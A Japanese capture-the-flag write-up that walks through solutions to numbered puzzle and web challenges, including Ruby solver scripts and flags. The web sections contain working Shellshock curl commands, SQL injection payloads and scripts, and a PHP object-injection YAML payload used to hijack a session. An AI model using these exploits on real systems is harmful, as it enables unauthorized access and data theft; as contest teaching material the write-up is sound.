window["eval"]["call"]`${ [空欄3, 空欄4, 空欄5, 0x52, 0x54] ["map"](x=>String["fromCodePoint"](x))["join"]("")["toLowerCase"]() + "空欄10" }`; //選択肢: (00000101), (101), (0b1001100), (1)
とりあえずここまで埋まる。
分かりやすいように書き直すと、
[空欄3, 空欄4, 空欄5, 0x52, 0x54].map( function(x){ return String.fromCodePoint(x); } ).join("").toLowerCase() + "空欄10"
が"alert(1)"
という文字列になればいい。
ということで、最終形はこうなる。
window["eval"]["call"]`${ [(00000101), (0b1001100), (101), 0x52, 0x54] ["map"](x=>String["fromCodePoint"](x))["join"]("")["toLowerCase"]() + "(1)" }`;
FLAG:4c0bf259050d08b8982b6ae43ad0f12be030f191
183 Count Number Of Flag's SubString! (記述術 100)
"flag={"から始まることがわかっているので、先頭から1文字ずつブルートフォース。
require "uri" require "net/http" def valid?(input) uri = URI.parse("http://210.146.64.36:30840/count_number_of_flag_substring/") Net::HTTP.start(uri.host, uri.port){|http| request = Net::HTTP::Get.new(uri.path + "?" + URI.encode_www_form({str: input})) return http.request(request).body =~ /are 1/ } end chars = "abcdefghijklmnopqrstuvwxyz_".chars flag = "flag={" while true if valid?(flag + "}") flag << "}" break end for c in chars print "." if valid?(flag + c) flag << c break end end puts flag end puts puts flag
FLAG:afsfdsfdsfso_idardkxa_hgiahrei_nxnkasjdx_hfuidgire_anreiafn_dskafiudsurerfrandskjnxxr
184 解凍? (記述術 100)
何重にも圧縮がかけてあるので、スクリプトを書いて解凍した。
require "open3" def check_filetype(filename) Open3.capture2("file #{filename}")[0] end def s(cmd) puts cmd system(cmd) end filename = "flag" while true case t = check_filetype(filename) when /ASCII/ break when /bzip2/ s("bunzip2 #{filename}") s("mv #{filename}.out #{filename}") when /Zip/ s("mv #{filename} #{filename}.zip") s("unzip #{filename}.zip") s("rm #{filename}.zip") s("mv #{filename}.* #{filename}") when /tar/ s("mv #{filename} #{filename}.tar") s("tar xvf #{filename}.tar") s("rm #{filename}.tar") s("mv #{filename}.* #{filename}") when /gzip/ s("mv #{filename} #{filename}.gz") s("gunzip #{filename}.gz") else puts t break end end puts "done"
FLAG:6aKuZrEqxvBZUIqBOXgMclLwpQCo8OXi
185 Make sorted Amida kuji! (記述術 300)
グラフをつくって経路探索。(コードがへぼい……)
#coding:utf-8 require "uri" require "net/http" class Edge attr_accessor :next_hop, :pattern def initialize(pattern, next_hop) @pattern = pattern @next_hop = next_hop end end class Node attr_accessor :id, :edges, :distance def initialize(id) @id = [] + id @edges = [] @distance = 1 << 31 end def visited? @edges.length > 0 end end def get_problem(url) puts "[*] downloading from #{url}" uri = URI.parse(url) Net::HTTP.start(uri.host, uri.port){|http| request = Net::HTTP::Get.new(uri.path + (uri.query ? "?#{uri.query}" : "")) return http.request(request).body.match(/<p id="number">([\d ]+)<\/p>/m).captures[0].split.map(&:to_i) } end def generate_pattern(size) (0...1 << size - 1).select{|n| !(0...size - 2).any?{|i| n[i] == 1 && n[i + 1] == 1}}.to_a end def swap(id, pattern) size = id.length result = [] + id for i in 0...size - 1 if pattern[i] == 1 result[i], result[i + 1] = [result[i + 1], result[i]] end end result end def enumerate_path(node, depth, stack) if depth == 0 if node.id == node.id.sort return [[] + stack] else return [] end end result = [] for edge in node.edges # depth手以内にゴールにたどり着けない場合は枝刈り if edge.next_hop.distance >= depth next end stack.push edge.pattern result.push *enumerate_path(edge.next_hop, depth - 1, stack) stack.pop end result end def solve(initial_state) size = initial_state.length goal = initial_state.sort patterns = generate_pattern(size) nodes = {} # スタートから(size / 2)階層分のグラフを作る puts "[*] building graph(from head)" nodes[initial_state] = Node.new(initial_state) queue = [nodes[initial_state]] (size / 2).times{|depth| puts "depth:#{depth + 1} queue size:#{queue.length}" next_queue = [] cnt = 0 for node in queue cnt += 1 print "\r%.02f%%" % (cnt * 100.0 / queue.length) if node.visited? next end for pattern in patterns next_id = swap(node.id, pattern) if !nodes.include?(next_id) nodes[next_id] = Node.new(next_id) end node.edges << Edge.new(pattern, nodes[next_id]) next_queue << nodes[next_id] if !nodes[next_id].visited? end end queue = next_queue puts GC.start } # ゴールから(size / 2 + 1)階層分のグラフを作る puts "[*] building graph(from tail)" if !nodes.include?(goal) nodes[goal] = Node.new(goal) end queue = [nodes[goal]] (size - (size / 2) + 1).times{|depth| puts "depth:#{depth + 1} queue size:#{queue.length}" next_queue = [] cnt = 0 for node in queue cnt += 1 print "\r%.02f%%" % (cnt * 100.0 / queue.length) if node.visited? next end for pattern in patterns next_id = swap(node.id, pattern) if !nodes.include?(next_id) nodes[next_id] = Node.new(next_id) end node.edges << Edge.new(pattern, nodes[next_id]) next_queue << nodes[next_id] if !nodes[next_id].visited? end end queue = next_queue puts GC.start } # 各ノードにゴールまでの距離を記録 puts "[*] marking distance" nodes[goal].distance = 0 queue = [nodes[goal]] while queue.length > 0 node = queue.shift for edge in node.edges if edge.next_hop.distance > node.distance + 1 edge.next_hop.distance = node.distance + 1 queue << edge.next_hop end end end puts nodes[initial_state].distance # DFSでゴールまでの経路を列挙 enumerate_path(nodes[initial_state], size, []) end # amida.jsのmakeFlag def generate_flag(answer) puts "[*] generating flag" size = answer[0].length strtes = "qwertyuiopasdfghjklzxcvbnm1234567890_+=" flag_str = "" for i in 0...size for j in 0...size sum = answer.map{|k| k[i][j]}.inject(:+) flag_str << strtes[sum % strtes.length] end end flag_str end url = "http://210.146.64.36:30840/amidakuji/" puts "[*] stage 1" problem = get_problem(url) answer = solve(problem) puts "answer(#{answer.length} patterns):" p answer flag = generate_flag(answer) puts "stage1 flag = #{flag}" puts "[*] stage 2" problem = get_problem(url + "?FLAG=#{flag}") answer = solve(problem) puts "answer(#{answer.length} patterns):" p answer flag = generate_flag(answer) puts "stage2 flag = #{flag}"
5分くらい待っていればフラグが出る。(メモリを1.2GB近く食うorz)
$ ruby aoj.rb [*] stage 1 [*] downloading from http://210.146.64.36:30840/amidakuji/ [*] building graph(from head) depth:1 queue size:1 100.00% depth:2 queue size:4 100.00% [*] building graph(from tail) depth:1 queue size:1 100.00% depth:2 queue size:4 100.00% depth:3 queue size:8 100.00% [*] marking distance 3 answer(8 patterns): [[0, 5, 2, 5], [1, 4, 2, 5], [4, 1, 2, 5], [5, 0, 2, 5], [5, 2, 0, 5], [5, 2, 1, 4], [5, 2, 4, 1], [5, 2, 5, 0]] [*] generating flag stage1 flag = uquqeteqeteququq [*] stage 2 [*] downloading from http://210.146.64.36:30840/amidakuji/?FLAG=uquqeteqeteququq [*] building graph(from head) depth:1 queue size:1 100.00% depth:2 queue size:88 100.00% depth:3 queue size:6447 100.00% depth:4 queue size:80337 100.00% depth:5 queue size:617283 100.00% [*] building graph(from tail) depth:1 queue size:1 100.00% depth:2 queue size:88 100.00% depth:3 queue size:6447 100.00% depth:4 queue size:80337 100.00% depth:5 queue size:617283 100.00% depth:6 queue size:2770542 100.00% [*] marking distance 10 answer(62 patterns): [[2, 85, 170, 85, 170, 341, 170, 341, 170, 277], [17, 170, 85, 170, 341, 170, 85, 170, 341, 162], [18, 69, 170, 85, 170, 341, 170, 341, 170, 277], [21, 170, 85, 170, 341, 170, 85, 170, 325, 146], [21, 170, 85, 170, 341, 170, 85, 170, 341, 130], [34, 85, 170, 85, 170, 341, 170, 341, 170, 273], [66, 21, 170, 85, 170, 341, 170, 341, 170, 277], [66, 149, 42, 85, 170, 341, 170, 341, 170, 277], [66, 149, 298, 341, 170, 341, 170, 341, 170, 277], [81, 170, 85, 170, 341, 170, 84, 169, 338, 165], [81, 170, 85, 170, 341, 170, 85, 168, 338, 165], [81, 170, 85, 170, 341, 170, 85, 170, 336, 165], [81, 170, 85, 170, 341, 170, 85, 170, 337, 164], [81, 170, 85, 170, 341, 170, 85, 170, 340, 161], [81, 170, 85, 170, 341, 170, 85, 170, 341, 160], [82, 5, 170, 85, 170, 341, 170, 341, 170, 277], [82, 37, 138, 85, 170, 341, 170, 341, 170, 277], [82, 133, 42, 85, 170, 341, 170, 341, 170, 277], [82, 133, 298, 341, 170, 341, 170, 341, 170, 277], [82, 165, 10, 85, 170, 341, 170, 341, 170, 277], [82, 165, 74, 21, 170, 341, 170, 341, 170, 277], [82, 165, 74, 149, 42, 341, 170, 341, 170, 277], [82, 165, 74, 149, 298, 85, 170, 341, 170, 277], [82, 165, 266, 341, 170, 341, 170, 341, 170, 277], [82, 165, 330, 277, 170, 341, 170, 341, 170, 277], [85, 170, 85, 170, 340, 169, 82, 165, 330, 149], [85, 170, 85, 170, 341, 168, 82, 165, 330, 149], [85, 170, 85, 170, 341, 170, 80, 165, 330, 149], [85, 170, 85, 170, 341, 170, 81, 164, 330, 149], [85, 170, 85, 170, 341, 170, 84, 161, 330, 149], [85, 170, 85, 170, 341, 170, 84, 169, 322, 149], [85, 170, 85, 170, 341, 170, 84, 169, 338, 133], [85, 170, 85, 170, 341, 170, 85, 160, 330, 149], [85, 170, 85, 170, 341, 170, 85, 162, 328, 149], [85, 170, 85, 170, 341, 170, 85, 162, 329, 148], [85, 170, 85, 170, 341, 170, 85, 168, 322, 149], [85, 170, 85, 170, 341, 170, 85, 168, 338, 133], [85, 170, 85, 170, 341, 170, 85, 170, 320, 149], [85, 170, 85, 170, 341, 170, 85, 170, 321, 148], [85, 170, 85, 170, 341, 170, 85, 170, 324, 145], [85, 170, 85, 170, 341, 170, 85, 170, 325, 144], [85, 170, 85, 170, 341, 170, 85, 170, 336, 133], [85, 170, 85, 170, 341, 170, 85, 170, 337, 132], [85, 170, 85, 170, 341, 170, 85, 170, 340, 129], [85, 170, 85, 170, 341, 170, 85, 170, 341, 128], [130, 85, 170, 85, 170, 341, 170, 341, 170, 276], [145, 42, 85, 170, 341, 170, 85, 170, 341, 162], [145, 298, 341, 170, 341, 170, 85, 170, 341, 162], [146, 69, 170, 85, 170, 341, 170, 341, 170, 276], [149, 42, 85, 170, 341, 170, 85, 170, 325, 146], [149, 42, 85, 170, 341, 170, 85, 170, 341, 130], [149, 298, 341, 170, 341, 170, 85, 170, 325, 146], [149, 298, 341, 170, 341, 170, 85, 170, 341, 130], [162, 85, 170, 85, 170, 341, 170, 340, 169, 274], [162, 85, 170, 85, 170, 341, 170, 341, 168, 274], [162, 85, 170, 85, 170, 341, 170, 341, 170, 272], [258, 341, 170, 85, 170, 341, 170, 341, 170, 277], [274, 325, 170, 85, 170, 341, 170, 341, 170, 277], [290, 341, 170, 85, 170, 341, 170, 341, 170, 273], [322, 277, 170, 85, 170, 341, 170, 341, 170, 277], [338, 261, 170, 85, 170, 341, 170, 341, 170, 277], [338, 293, 138, 85, 170, 341, 170, 341, 170, 277]] [*] generating flag stage2 flag = 021qsyrsuq2020dtsqpq02020zqkiq202020b+tq9202020m_q382020201q34620202qq8b6220202qk+h0l2020qesrqypq02q
FLAG:021qsyrsuq2020dtsqpq02020zqkiq202020b+tq9202020m_q382020201q34620202qq8b6220202qk+h0l2020qesrqypq02q
191 GIFアニメ生成サイト (超文書転送術 100)
URL直打ちで/movies/view/1
を見ようとすると403が返ってくるが、生成ボタンのdata-id
を1に書き換えてからクリックすると/movies/view/1
が見られる。
出てきたgifをXnViewとかでコマ送りにするとフラグが見つかる。
FLAG:H0WdoUpronunceGIF?
192 Network Tools (超文書転送術 100)
Shellshock
$ curl -A '() { :; }; /bin/ls -la' -d 'cmd=ps&option=-f' http://210.146.64.37:60888/exec <!doctype html> <title>Network Tools Collection</title> <link rel=stylesheet type=text/css href="/static/style.css"> <div class=page> <div id='menu'> <ul> <li><a href="/">Welcome</a></li> <li><a href="/list">Command List</a></li> <li><a href="/about">About</a></li> <li><a href="/contact">Contact Info</a></li> </ul> <div class='caption'>Network Tools ver 0.1</div> </div> <div id='content'> <div class='headline'>ps -f</div> <div class='body'> total 36<br /> drwxr-xr-x 10 root root 4096 Oct 18 16:51 .<br /> drwxr-xr-x 11 root root 4096 Oct 18 16:51 ..<br /> -rwxr-xr-x 1 root root 42 Jan 2 2015 flag.txt<br /> drwxrwxrwx 2 root root 4096 Nov 21 10:35 logs<br /> -rwxrwxr-x 1 root root 1234 Oct 11 15:58 logs.py<br /> -rwxr-xr-x 1 root root 458 Nov 28 2014 myapp.cgi<br /> -rwxr-xr-x 1 root root 2300 Oct 11 15:16 nwtools.py<br /> drwxr-xr-x 2 root root 4096 Dec 1 2014 static<br /> drwxr-xr-x 2 root root 4096 Dec 1 2014 templates<br /> <br /> </div> <div> <br /> <a href="/list">Return</a> </div> </div> </div> $ curl -A '() { :; }; /bin/cat flag.txt' -d 'cmd=ps&option=-f' http://210.146.64.37:60888/exec <!doctype html> <title>Network Tools Collection</title> <link rel=stylesheet type=text/css href="/static/style.css"> <div class=page> <div id='menu'> <ul> <li><a href="/">Welcome</a></li> <li><a href="/list">Command List</a></li> <li><a href="/about">About</a></li> <li><a href="/contact">Contact Info</a></li> </ul> <div class='caption'>Network Tools ver 0.1</div> </div> <div id='content'> <div class='headline'>ps -f</div> <div class='body'> flag={Update bash to the latest version!}<br /> <br /> </div> <div> <br /> <a href="/list">Return</a> </div> </div> </div>
FLAG:Update bash to the latest version!
193 箱庭XSS (超文書転送術 100)
何をすればいいのかわからなかったので、正攻法は諦めてreversingで解いた(*´ω`*)
FLAG:2ztJcvm2h52WGvZxF98bcpWv
194 YamaToDo (超文書転送術 200)
これ。
"sjis"は指定できないようになっているが、Shift-JISの仲間(?)である"cp932"は使える。
以下solver
require "uri" require "net/http" 94.times{|i| uri = URI.parse("http://210.146.64.44/") # フラグの文字数調査用 # data = "表'+(select * from (select length(body) from todos where user_id=char(#{"yamato".bytes*","})order by create_at limit 1) A),now())# " # フラグ出力用 data = "表'+(select * from (select ord(substr(body, #{i+1}, 1)) from todos where user_id=char(#{"yamato".bytes*","}) order by create_at limit 1) A),now())# " if data.length > 255 puts "too long" exit end Net::HTTP.start(uri.host){|http| request = Net::HTTP::Post.new(uri.path + "?ie=cp932") request["Authorization"] = "Basic eWFtYXRvY3RmOkdVbjdTbjFMVkpRWkJ3eUc4d1pQQUl0bm9CWjA0VGx4" request["Cookie"] = "PHPSESSID=(censored)" request["Content-Type"] = "application/x-www-form-urlencoded" http.request(request, URI.encode_www_form({body: data.encode("shift_jis")})) } }
これを実行すると
200,190,179,209,164,199,165,181,165,214,165,223,165,195,165,200,164,183,164,198,164,175,164,192,164,181,164,164,161,249,161,202,161,181,166,216,161,166,161,203,118,32,163,230,163,236,163,225,163,231,161,225,161,208,163,242,163,179,163,237,163,179,163,205,163,226,163,179,163,242,161,178,163,181,163,227,161,178,163,240,163,242,163,176,163,226,163,204,163,179,163,237,161,209
というバイト列が得られ、これをEUC-JPとして読むと半角でサブミットしてください☆(ゝω・)v flag={r3m3Mb3r_5c_pr0bL3m}
というメッセージが得られる。
FLAG:r3m3Mb3r_5c_pr0bL3m
195 Yamatoo (超文書転送術 300)
自明なSQLiがある。
<?php //(snip) if (mb_strlen($keyword) > 2) { $words = implode(' ', ngram($keyword)); $where = "exists (select 1 from `site_fts` where `site`.rowid = `site_fts`.rowid and `words` match '{$words}') or `title` like '%{$keyword}%'"; } else { $where = "`title` like '%{$keyword}%'"; }
……が、入力した文字列がimplode(' ', ngram($keyword))
で細切れにされてしまうため、非常にやりにくい。
$ echo hogehoge | php test.php keyword= hogehoge select * from `site` where exists (select 1 from `site_fts` where `site`.rowid = `site_fts`.rowid and `words` match 'ho og ge eh ho og ge') or `title` like '%hogehoge%' result: $ echo "a' or (select 1)=1 --" | php test.php keyword= a' or (select 1)=1 -- select * from `site` where exists (select 1 from `site_fts` where `site`.rowid = `site_fts`.rowid and `words` match 'a' or (s se el le ec ct 1) )= =1 --') or `title` like '%a' or (select 1)=1 --%' [!] near "se": syntax error
試行錯誤の末、a ''' or (select 1)=1 --
というような文字列を入れることでうまくSQLiできることがわかった。
$ echo "a ''' or (select 1)=1 --" | php test.php keyword= a ''' or (select 1)=1 -- select * from `site` where exists (select 1 from `site_fts` where `site`.rowid = `site_fts`.rowid and `words` match 'a '' '' or (s se el le ec ct 1) )= =1 --') or `title` like '%a ''' or (select 1)=1 --%' result: http://example.com hogehoge -----------------
あとはError-Based-SQLiでフラグを取った。
#coding:ascii-8bit require "uri" require "net/http" query = "a ''' or (select 1 from site_fts where words match char(34)||(select * from flag))=1--" uri = URI.parse("http://210.146.64.45/") Net::HTTP.start(uri.host){|http| request = Net::HTTP::Get.new(uri.path + "?" + URI.encode_www_form({q: query})) request["Authorization"] = "Basic eWFtYXRvY3RmOkdVbjdTbjFMVkpRWkJ3eUc4d1pQQUl0bm9CWjA0VGx4" response = http.request(request) raise "WAF~><" if response.body.include?("WAF") puts response.body }
$ ruby yamatoo.rb Fatal error: Uncaught exception 'Exception' with message 'malformed MATCH expression: ["flag={3rR0r_b453d_5Ql_1nj3c710N_50_1Mp0r74n7_d0_n07_F0r637}]' in /var/www/html/index.php:67 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 67
FLAG:3rR0r_b453d_5Ql_1nj3c710N_50_1Mp0r74n7_d0_n07_F0r637
196 Yamatonote (超文書転送術 400)
メモ管理用のWebアプリ。
アプリのソースを読むと、
- セッション開始時は
Session.load
が走り、セッションIDをキーとしてDBを検索し、UserIDを取得 - Sessionオブジェクトのデストラクタで
Session.save
が走り、セッションIDとUserIDをDBに保存
という方法でセッション管理をしていることがわかる。
yaml推しなのが怪しいので調べると、これやこれがでてきた。
どうも!php/object (シリアライズされた文字列)
と書くことでyaml_parse
時に好きなオブジェクトを作ることができ、しかもそのオブジェクトの__wakeup
メソッドや__destruct
メソッドを叩けるっぽい。
ということで、
- 普通にログイン
(UserID, SessionID) = (yamato, hoge)
なSessionオブジェクトを埋め込んだyamlをインポートする
このとき、埋め込んだSessionオブジェクトのデストラクタでセッションID"hoge"の持ち主はyamato
というデータが登録される- セッションIDを"hoge"に設定してアクセスすると、yamatoでログインした状態になる
- yamatoのメモに書いてあるフラグをゲット
という手順で攻略した。
使ったyaml↓
# yamatonote yaml template title: ☆(ゝω・)v body: !php/object "O:7:\"Session\":3:{s:2:\"id\";s:26:\"oeipc7j969vpru7312qbnnm3q1\";s:2:\"db\";O:2:\"Db\":0:{}s:15:\"\u0000Session\u0000_param\";a:1:{s:6:\"userId\";s:6:\"yamato\";}}"
※\x00
がString.optimize
やString.yaml
で除去されてしまうため、代わりに\u0000
を使った
FLAG:pHp_0bj3c7_15_50_5w3333333E337_4nD_y4mL_700
197 箱庭XSS 2 (超文書転送術 200)
reversing(*´ω`*)
FLAG:n2SCCerG4J9kDkHqvHJNhwr4